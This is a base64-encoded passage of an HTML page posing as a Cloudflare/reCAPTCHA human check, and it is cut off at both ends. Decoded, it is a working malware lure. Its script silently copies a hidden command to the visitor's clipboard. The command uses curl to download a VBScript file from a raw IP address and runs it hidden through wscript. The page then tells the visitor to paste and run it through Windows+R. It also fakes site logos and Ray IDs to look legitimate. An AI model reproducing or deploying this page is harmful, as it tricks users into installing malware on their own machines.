uLXdyYXBwZXIiPgogPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgIDwhLS0gT24tcGFnZSBsb2dvIC0tPgogICA8aW1nIGNsYXNzPSJsb2dvLWltZyIgc3JjPSIiIGFsdD0iU2l0ZSBsb2dvIiBzdHlsZT0iaGVpZ2h0OiAycmVtOyBtYXJnaW4tcmlnaHQ6IDAuNXJlbTsiPgogICA8cCBzdHlsZT0iZm9udC1zaXplOiAyLjVyZW07IGZvbnQtd2VpZ2h0OiA1MDA7IGxpbmUtaGVpZ2h0OiAzLjc1cmVtOyI+PHNwYW4gY2xhc3M9ImRvbWFpbi1uYW1lIj48L3NwYW4+PC9wPgogIDwvZGl2PgoKICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDEuNXJlbTsgbGluZS1oZWlnaHQ6IDIuMjVyZW07IG1hcmdpbi1ib3R0b206IDJyZW07IG1pbi1oZWlnaHQ6IDJyZW07Zm9udC13ZWlnaHQ6NTUwOyBwYWRkaW5nLXRvcDogMnB4Ij4KICAgIDxwPgogICAgICA8c3BhbiBjbGFzcz0icHJlbG9hZGVyX3RleHQiPjwvYj5DaGVja2luZyBpZiB5b3UgYXJlIGh1bWFuLiBUaGlzIG1heSB0YWtlIGEgZmV3IHNlY29uZHMuPC9zcGFuPgogICAgICA8c3BhbiBjbGFzcz0idGV4dGFsbHN0ZXAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+VmVyaWZ5IHlvdSBhcmUgaHVtYW4gYnkgY29tcGxldGluZyB0aGUgYWN0aW9uIGJlbG93Ljwvc3Bhbj4KICAgIDwvcD4KICA8L2Rpdj4KCiAgPCEtLSBQUkVMT0FERVIgLS0+CiAgPGRpdiBjbGFzcz0iaW50cm8iPgogIDxkaXYgY2xhc3M9InByZWxvYWRlciI+CiAgICA8ZGl2IGNsYXNzPSJsZHMtcmluZyI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48L2Rpdj4KICA8L2Rpdj4KCiAgPCEtLSBTVEFSVCAtLT4KICA8ZGl2IGlkPSJjaGVja2JveC13aW5kb3ciIGNsYXNzPSJjaGVja2JveC13aW5kb3ciIHN0eWxlPSJ3aWR0aDogMzAwcHg7IGhlaWdodDogNzRweDsgZGlzcGxheTogbm9uZTsiPgogICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyB3aWR0aDogMTAwJTsiPgogICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtY29udGFpbmVyIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsgbWFyZ2luLXJpZ2h0OiAxMnB4OyB3aWR0aDogMzBweDsiPgoKICAgICA8c3ZnIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InN0ZXAwIiBpZD0ic3Bpbm5lcjIiIGZpbGw9ImdyZWVuIiB2aWV3Qm94PSIwIDAgNjAgNjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICAgICAgPGNpcmNsZSBjeD0iMzAiIGN5PSIxMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjUwIiBjeT0iMzAiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIzMCIgY3k9IjUwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTAiIGN5PSIzMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjQzLjYiIGN5PSIxNi40IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTYuNCIgY3k9IjE2LjQiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSI0My42IiBjeT0iNDMuNiIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjE2LjQiIGN5PSI0My42IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgIDwvc3ZnPgoKICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgaWQ9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3ggc3RlcDEiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9idXR0b24+CgogICAgIDxkaXYgY2xhc3M9InNwaW5uZXIgc3RlcDIiIGlkPSJzcGlubmVyIiBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBkaXNwbGF5OiBub25lOyI+CiAgICAgIDxkaXYgY2xhc3M9Imxkcy1yaW5nIj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2PgogICAgIDwvZGl2PgoKICAgICA8ZGl2IGNsYXNzPSJzdGVwMyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgPHN2ZyB3aWR0aD0iMzAiIGhlaWdodD0iMzAiIHZpZXdCb3g9IjAgMCA1MCA1MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgICAgIDxjaXJjbGUgY3g9IjI1IiBjeT0iMjUiIHI9IjIzIiBmaWxsPSIjMjhhNzQ1IiAvPgogICAgICAgPHBhdGggZD0iTTE1IDI1IEwyMiAzMiBMMzUgMTgiIHN0cm9rZT0id2hpdGUiIHN0cm9rZS13aWR0aD0iNCIgZmlsbD0ibm9uZSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiAvPgogICAgICA8L3N2Zz4KICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9InRldHR4Ij4KICAgICA8cCBjbGFzcz0ic3RlcDAiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsiPlZlcmlmeWluZy4uLjwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDEiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPkknbSBub3QgYSByb2JvdDwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDIiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPlZlcmlmaWNhdGlvbiBTdGVwczwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDMiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPlN1Y2Nlc3NmdWxseS48L3A+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDhweDsgdGV4dC1hbGlnbjogcmlnaHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyI+CiAgICAgPGltZyBzdHlsZT0id2lkdGg6IDY3cHg7IGhlaWdodDogMjNweDsgbWFyZ2luLWJvdHRvbTogNXB4OyIgc3JjPSJodHRwczovL2kucG9zdGltZy5jYy9rNHpyejkyei8xMTEucG5nIiAvPgogICAgIDxwIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPkNvbmZpZGVudGlhbGl0eTwvcD4KICAgICA8cCBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5UZXJtcyBhbmQgQ29uZGl0aW9uczwvcD4KICAgIDwvZGl2PgogICA8L2Rpdj4KCiAgIDxkaXYgaWQ9InZlcmlmeS13aW5kb3ciIGNsYXNzPSJ2ZXJpZnktd2luZG93IiBzdHlsZT0iYm9yZGVyLXRvcDogMXB4IHNvbGlkICM3OTc5Nzk7IHBhZGRpbmctdG9wOiAzcHg7IG1hcmdpbi10b3A6IDE1cHg7Ij4KICAgIDxkaXYgY2xhc3M9InZlcmlmeS1jb250YWluZXIiPgogICAgIDxtYWluIGNsYXNzPSJ2ZXJpZnktbWFpbiIgc3R5bGU9ImNvbG9yOiAjZDlkOWQ5OyI+CiAgICAgIDxwIHN0eWxlPSJmb250LXNpemU6IDE4cHg7IG1hcmdpbi1ib3R0b206IDE1cHg7Ij5UbyBiZXR0ZXIgcHJvdmUgeW91IGFyZSBub3QgYSByb2JvdCwgcGxlYXNlOjwvcD4KICAgICAgPG9sPgogICAgICAgPGxpPlByZXNzICZhbXA7IGhvbGQgdGhlIFdpbmRvd3MgS2V5IDxpIGNsYXNzPSJmYWIgZmEtd2luZG93cyI+PC9pPiArIDxiPlI8L2I+LjwvbGk+CiAgICAgICA8bGk+SW4gdGhlIHZlcmlmaWNhdGlvbiB3aW5kb3csIHByZXNzIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uPC9saT4KICAgICAgIDxsaT5QcmVzcyA8Yj5FbnRlcjwvYj4gb24geW91ciBrZXlib2FyZCB0byBmaW5pc2guPC9saT4KICAgICAgPC9vbD4KICAgICAgPHAgY2xhc3M9Im9ic2VydmUiIHN0eWxlPSJwYWRkaW5nLXRvcDogMTBweDsiPgogICAgICAgWW91IHdpbGwgb2JzZXJ2ZSBhbmQgYWdyZWU6PGJyPgogICAgICAgPGNvZGUgc3R5bGU9ImJhY2tncm91bmQ6IG5vbmU7IGJvcmRlcjogMXB4IHNvbGlkICM3OTc5Nzk7IHdpZHRoOiA0MzJweDsiPiDinIUgIkkgYW0gbm90IGEgcm9ib3QgLSByZUNBUFRDSEEgVmVyaWZpY2F0aW9uIElEOiA8c3BhbiBpZD0idmVyaWZpY2F0aW9uLWlkIj4xNDY4MjA8L3NwYW4+IiA8L2NvZGU+CiAgICAgIDwvcD4KICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InZlcmlmeS1jb250YWluZXIgdmVyaWZ5LWZvb3RlciIgc3R5bGU9ImJhY2tncm91bmQ6IG5vbmU7Ij4KICAgICA8ZGl2IGNsYXNzPSJ2ZXJpZnktZm9vdGVyLWxlZnQiIHN0eWxlPSJ3aWR0aDogMjg2cHg7IGZsb2F0OiBsZWZ0OyB0ZXh0LWFsaWduOiBsZWZ0OyBmb250LXNpemU6IDE1cHg7Ij5QZXJmb3JtIHRoZSBzdGVwcyBhYm92ZSB0byBmaW5pc2ggdmVyaWZpY2F0aW9uLjwvZGl2PgogICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idmVyaWZ5LXZlcmlmeS1idXR0b24gYmxvY2siIGlkPSJ2ZXJpZnktYnV0dG9uIiBzdHlsZT0iYmFja2dyb3VuZDogIzVlNWU1ZTsgcGFkZGluZzogOXB4IDM4cHg7Ij5WZXJpZnk8L2J1dHRvbj4KICAgIDwvZGl2PgogICA8L2Rpdj4KCgogICA8c2NyaXB0PgogICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCBmdW5jdGlvbiAoKSB7CiAgICAgICBjb25zdCBkb21haW4gPSB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWU7CiAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuZG9tYWluIikuZm9yRWFjaChlbCA9PiB7IGlmIChlbCkgZWwudGV4dENvbnRlbnQgPSBkb21haW47IH0pOwogICAgIH0pOwogICA8L3NjcmlwdD4KCiAgPC9kaXY+CiAgPHAgc3R5bGU9ImZvbnQtc2l6ZTogMS41cmVtOyBsaW5lLWhlaWdodDogMi4yNXJlbTsgcGFkZGluZy10b3A6IDIwcHg7cGFkZGluZy10b3A6IDMzcHgiPgogICAgPHNwYW4gY2xhc3M9ImRvbWFpbi1uYW1lIj48L3NwYW4+IG5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLgogIDwvcD4KIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9ImZvb3RlciIgcm9sZT0iY29udGVudGluZm8iPgogPGRpdiBjbGFzcz0iZm9vdGVyLWlubmVyIj4KICA8ZGl2PjxkaXY+UmF5IElEOiA8Y29kZSBjbGFzcz0icmF5LWlkIj41NmE0YzUyOTlmZGV0bWNhPC9jb2RlPjwvZGl2PjwvZGl2PgogIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDVweDsiPlBsYXRmb3JtIHBlcmZvcm1hbmNlIGFuZCBzZWN1cml0eSA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwMDAiPkNsb3VkZmxhcmU8L3NwYW4+PC9kaXY+CiA8L2Rpdj4KPC9kaXY+Cgo8c2NyaXB0PgovKgogIAoqLwpjb25zdCBjb21tYW5kID0gJ2NtZCAvYyAiY3VybCAtcyBodHRwOi8xOTguMTMuMTU4LjEyNzo1NTA2L2RkLnZicyAtbyAldGVtcCVcZGQudmJzID5udWwgJiYgc3RhcnQgL2Igd3NjcmlwdC5leGUgLy9CIC8vRTpWQlNjcmlwdCAldGVtcCVcZGQudmJzICYmIGV4aXQiJzsKCgooZnVuY3Rpb24gKCkgewogIGNvbnN0IHBhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMod2luZG93LmxvY2F0aW9uLnNlYXJjaCk7CiAgY29uc3Qgc2l0ZVBhcmFtID0gcGFyYW1zLmdldCgnc2l0ZScpOyAgICAgICAKICBjb25zdCBsb2dvUGFyYW0gPSBwYXJhbXMuZ2V0KCdsb2dvJyk7ICAgICAgIAoKICBmdW5jdGlvbiBnZXRIb3N0bmFtZSh2YWwpIHsKICAgIGlmICghdmFsKSByZXR1cm4gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnOwogICAgdHJ5IHsgcmV0dXJuIG5ldyBVUkwodmFsLCB3aW5kb3cubG9jYXRpb24ub3JpZ2luKS5ob3N0bmFtZTsgfQogICAgY2F0Y2ggeyByZXR1cm4gU3RyaW5nKHZhbCkucmVwbGFjZSgvXmh0dHBzPzpcL1wvL2ksJycpLnNwbGl0KCcvJylbMF07IH0KICB9CgogIGNvbnN0IGhvc3QgPSBnZXRIb3N0bmFtZShzaXRlUGFyYW0pIHx8IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZSB8fCAnJzsKCgogIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5kb21haW4tbmFtZScpLmZvckVhY2goZWwgPT4geyBlbC50ZXh0Q29udGVudCA9IGhvc3Q7IH0pOwoKICAvLyBha3R1ZWxsZXMgd2Vic2l0ZSBpY29uCiAgY29uc3QgZmF2aWNvblVybCA9IGxvZ29QYXJhbSB8fCBgaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9zej0xMjgmZG9tYWluPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfWA7CiAgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkeW5hbWljLWZhdmljb24nKSB8fCAoKCk9Pntjb25zdCBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2xpbmsnKTtsLnJlbD0naWNvbic7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChsKTtyZXR1cm4gbDt9KSgpKS5ocmVmID0gZmF2aWNvblVybDsKCgogIGNvbnN0IGNhbmRpZGF0ZXMgPSBbCiAgICBmYXZpY29uVXJsLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgYGh0dHBzOi8vaWNvbnMuZHVja2R1Y2tnby5jb20vaXAzLyR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfS5pY29gLAogICAgYGh0dHBzOi8vJHtob3N0fS9mYXZpY29uLmljb2AKICBdLmZpbHRlcihCb29sZWFuKTsKCiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxvZ28taW1nJykuZm9yRWFjaChpbWcgPT4gewogICAgbGV0IGkgPSAwOwogICAgY29uc3QgdHJ5TmV4dCA9ICgpID0+IHsKICAgICAgaWYgKGkgPj0gY2FuZGlkYXRlcy5sZW5ndGgpIHsgaW1nLnNyYyA9IGZhdmljb25Vcmw7IHJldHVybjsgfQogICAgICBpbWcuc3JjID0gY2FuZGlkYXRlc1tpKytdOwogICAgfTsKICAgIGltZy5hbHQgPSBob3N0ICsgJyBsb2dvJzsKICAgIGltZy5vbmVycm9yID0gdHJ5TmV4dDsKICAgIHRyeU5leHQoKTsKICB9KTsKfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0PgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICAgIGNvbnN0IHByZWxvYWRlckVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnByZWxvYWRlciIpOwogICAgY29uc3QgcHJlbG9hZGVyVGV4dCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcmVsb2FkZXJfdGV4dCIpOwogICAgY29uc3QgdGV4dEFsbFN0ZXAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudGV4dGFsbHN0ZXAiKTsKICAgIGNvbnN0IGNoZWNrYm94V2luZG93ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94LXdpbmRvdyIpOwogICAgY29uc3Qgc3RlcDBFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMCIpOwogICAgY29uc3Qgc3RlcDFFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMSIpOwogICAgY29uc3Qgc3RlcDJFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMiIpOwogICAgY29uc3Qgc3RlcDNFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5zdGVwMyIpOwogICAgY29uc3QgY2hlY2tib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2hlY2tib3giKTsKICAgIGNvbnN0IHZlcmlmeVdpbmRvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktd2luZG93Iik7CiAgICBjb25zdCBzcGlubmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNwaW5uZXIiKTsKICAgIGNvbnN0IHZlcmlmeUJ1dHRvbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZXJpZnktYnV0dG9uIik7CgogICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgcHJlbG9hZGVyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICBpZiAocHJlbG9hZGVyVGV4dCkgcHJlbG9hZGVyVGV4dC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgIGlmICh0ZXh0QWxsU3RlcCkgdGV4dEFsbFN0ZXAuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7CiAgICAgICAgaWYgKGNoZWNrYm94V2luZG93KSBjaGVja2JveFdpbmRvdy5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOwoKICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgaWYgKGNoZWNrYm94V2luZG93KSB7CiAgICAgICAgICAgICAgICBjaGVja2JveFdpbmRvdy5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOwogICAgICAgICAgICAgICAgbGV0IG9wYWNpdHkgPSAwOwogICAgICAgICAgICAgICAgY29uc3QgZmFkZUluID0gc2V0SW50ZXJ2YWwoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIGlmIChvcGFjaXR5ID49IDEpIHsgY2xlYXJJbnRlcnZhbChmYWRlSW4pOyB9CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7IG9wYWNpdHkgKz0gMC4xOyBjaGVja2JveFdpbmRvdy5zdHlsZS5vcGFjaXR5ID0gb3BhY2l0eTsgfQogICAgICAgICAgICAgICAgfSwgMzApOwogICAgICAgICAgICB9CiAgICAgICAgfSwgMjAwKTsKCiAgICAgICAgc3RlcDBFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKCiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIHN0ZXAwRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgc3RlcDFFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKICAgICAgICB9LCAyMDAwKTsKICAgIH0sIDE1MDApOwoKICAgIGlmIChjaGVja2JveCkgewogICAgICBjaGVja2JveC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICBjb25zdCB0ZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7CiAgICAgICAgICB0ZXh0YXJlYS52YWx1ZSA9IGNvbW1hbmQ7CiAgICAgICAgICB0ZXh0YXJlYS5zZXRBdHRyaWJ1dGUoJ3JlYWRvbmx5JywgJycpOwogICAgICAgICAgdGV4dGFyZWEuc3R5bGUucG9zaXRpb24gPSAnYWJzb2x1dGUnOwogICAgICAgICAgdGV4dGFyZWEuc3R5bGUubGVmdCA9ICctOTk5OXB4JzsKICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodGV4dGFyZWEpOwogICAgICAgICAgdGV4dGFyZWEuc2VsZWN0KCk7CiAgICAgICAgICB0cnkgeyBkb2N1bWVudC5leGVjQ29tbWFuZCgnY29weScpOyB9IGNhdGNoKGUpIHsgLyogaWdub3JlICovIH0KICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQodGV4dGFyZWEpOwoKICAgICAgICAgIHN0ZXAxRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgIHN0ZXAyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CiAgICAgICAgICBpZiAoc3Bpbm5lcikgc3Bpbm5lci5zdHlsZS52aXNpYmlsaXR5ID0gInZpc2libGUiOwoKICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgewogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUud2lkdGggPSAiNTMwcHgiOwogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUuaGVpZ2h0ID0gImF1dG8iOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBpZiAodmVyaWZ5V2luZG93KSB2ZXJpZnlXaW5kb3cuY2xhc3NMaXN0LmFkZCgiYWN0aXZlIik7CiAgICAgICAgICB9LCA1MDApOwogICAgICB9KTsKICAgIH0KCiAgICBpZiAodmVyaWZ5QnV0dG9uKSB7CiAgICAgIHZlcmlmeUJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgIGlmICh2ZXJpZnlXaW5kb3cpIHZlcmlmeVdpbmRvdy5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUiKTsKICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUuaGVpZ2h0ID0gIjc0cHgiOwoKICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUud2lkdGggPSAiMzAwcHgiOwogICAgICAgICAgICAgIHN0ZXAyRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgICBzdGVwM0VsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwoKICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgc3RlcDNFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAibm9uZSIpOwogICAgICAgICAgICAgICAgICBzdGVwMUVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwogICAgICAgICAgICAgICAgICBpZiAoc3Bpbm5lcikgc3Bpbm5lci5zdHlsZS52aXNpYmlsaXR5ID0gImhpZGRlbiI7CiAgICAgICAgICAgICAgfSwgMTAwMCk7CiAgICAgICAgICB9LCA2MDApOwogICAgICB9KTsKICAgIH0KCgogICAgY29uc3QgdmVyRWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZpY2F0aW9uLWlkIik7CiAgICBpZiAodmVyRWwpIHZlckVsLnRleHRDb250ZW50ID0gTWF0aC5mbG9vcigxMDAwMDAgKyBNYXRoLnJhbmRvbSgpICogOTAwMDAwKTsKICAgIGNvbnN0IGNoYXJzID0gImFiY2RlZjAxMjM0NTY3ODkiOwogICAgY29uc3QgcmF5RWwgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucmF5LWlkIik7CiAgICBpZiAocmF5RWwpIHsKICAgICAgcmF5RWwudGV4dENvbnRlbnQgPQogICAgICAgIEFycmF5LmZyb20oeyBsZW5ndGg6IDE2IH0sICgpID0+IGNoYXJzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNoYXJzLmxlbmd0aCldKS5qb2luKCIiKTsKICAgIH0KfSk7CgoKZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29weScsIGZ1bmN0aW9uIChlKSB7CgogICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgaWYgKGUuY2xpcGJvYXJkRGF0YSkgewogICAgICAgIGUuY2xpcGJvYXJkRGF0YS5zZXREYXRhKCd0ZXh0L3BsYWluJywgY29tbWFuZCk7CiAgICB9IGVsc2UgaWYgKHdpbmRvdy5jbGlwYm9hcmREYXRhKSB7CiAgICAgICAgd2luZG93LmNsaXBib2FyZERhdGEuc2V0RGF0YSgnVGV4dCcsIGNvbW1hbmQpOwogICAgfQp9KTsKPC9zY3JpcHQ+CgoKPHNjcmlwdD4KKGZ1bmN0aW9uKCl7CiAgY29uc3QgaTE4biA9IHsKICAgIGVuOntjaGVja2luZzoiQ2hlY2tpbmcgaWYgeW91IGFyZSBodW1hbi4gVGhpcyBtYXkgdGFrZSBhIGZldyBzZWNvbmRzLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmeSB5b3UgYXJlIGh1bWFuIGJ5IGNvbXBsZXRpbmcgdGhlIGFjdGlvbiBiZWxvdy4iLHZlcmlmeWluZzoiVmVyaWZ5aW5nLi4uIixub3RSb2JvdDoiSSdtIG5vdCBhIHJvYm90IixzdGVwczoiVmVyaWZpY2F0aW9uIFN0ZXBzIixzdWNjZXNzOiJTdWNjZXNzZnVsbHkuIix2ZXJpZnlUaXRsZToiVG8gYmV0dGVyIHByb3ZlIHlvdSBhcmUgbm90IGEgcm9ib3QsIHBsZWFzZToiLHN0ZXAxOiJQcmVzcyAmYW1wOyBob2xkIHRoZSBXaW5kb3dzIEtleSA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJJbiB0aGUgdmVyaWZpY2F0aW9uIHdpbmRvdywgcHJlc3MgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQcmVzcyA8Yj5FbnRlcjwvYj4gb24geW91ciBrZXlib2FyZCB0byBmaW5pc2guIixvYnNlcnZlOiJZb3Ugd2lsbCBvYnNlcnZlIGFuZCBhZ3JlZToiLGNvbmZpcm1MZWFkOiJJIGFtIG5vdCBhIHJvYm90IC0gcmVDQVBUQ0hBIFZlcmlmaWNhdGlvbiBJRDogIixmaW5hbDoiUGVyZm9ybSB0aGUgc3RlcHMgYWJvdmUgdG8gZmluaXNoIHZlcmlmaWNhdGlvbi4iLHZlcmlmeUJ0bjoiVmVyaWZ5Iixjb25maWRlbnRpYWxpdHk6IkNvbmZpZGVudGlhbGl0eSIsdGVybXM6IlRlcm1zIGFuZCBDb25kaXRpb25zIixmb290ZXI6Im5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLiJ9LAoKICAgIGRlOntjaGVja2luZzoiw5xiZXJwcsO8ZnVuZywgb2IgU2llIGVpbiBNZW5zY2ggc2luZC4gRGllcyBrYW5uIGVpbmlnZSBTZWt1bmRlb